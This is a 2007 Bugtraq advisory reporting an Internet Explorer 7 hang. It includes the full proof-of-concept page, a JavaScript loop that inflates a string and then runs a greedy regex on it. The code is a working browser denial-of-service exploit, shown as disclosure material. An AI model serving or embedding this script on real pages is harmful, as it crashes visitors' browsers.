bugtraq - Internet Explorer Crash

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Date: Tue, 17 Apr 2007 13:09:13 -0400
From: "J. Oquendo" <sil@...iltrated.net>
To: bugtraq@...urityfocus.com
Subject: Internet Explorer Crash

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Product: Internet Explorer Version 7.0.5730.11
Impact: Browser crash possibly more
Author: Jesus Oquendo
echo @infiltrated|sed 's/^/sil/g;s/$/.net/g'

I. BACKGROUND
Why bother? Who doesn't know what Internet Explorer and Microsoft are.

II. DESCRIPTION
IE 7 is vulnerable to a script which causes the browser to hang. The
memory and CPU usage go through the roof. Originally the script caused
(and still causes) Safari and Konqueror to crash.

III SOLUTION
Stop using Microsoft products or deal with a new advisory every other
day.

IV. Proof
http://www.infiltrated.net/stupidInternetExploder.html

V. Code

$ more /stupidInternetExploder.html

<script>

var reg = /(.)*/;

var z = 'Z';
                while (z.length <= 
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) z+=z;
        var boum = reg.exec(z);

</script>

Goodbye

J. Oquendo
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743
sil . infiltrated @ net http://www.infiltrated.net 

The happiness of society is the end of government.
John Adams

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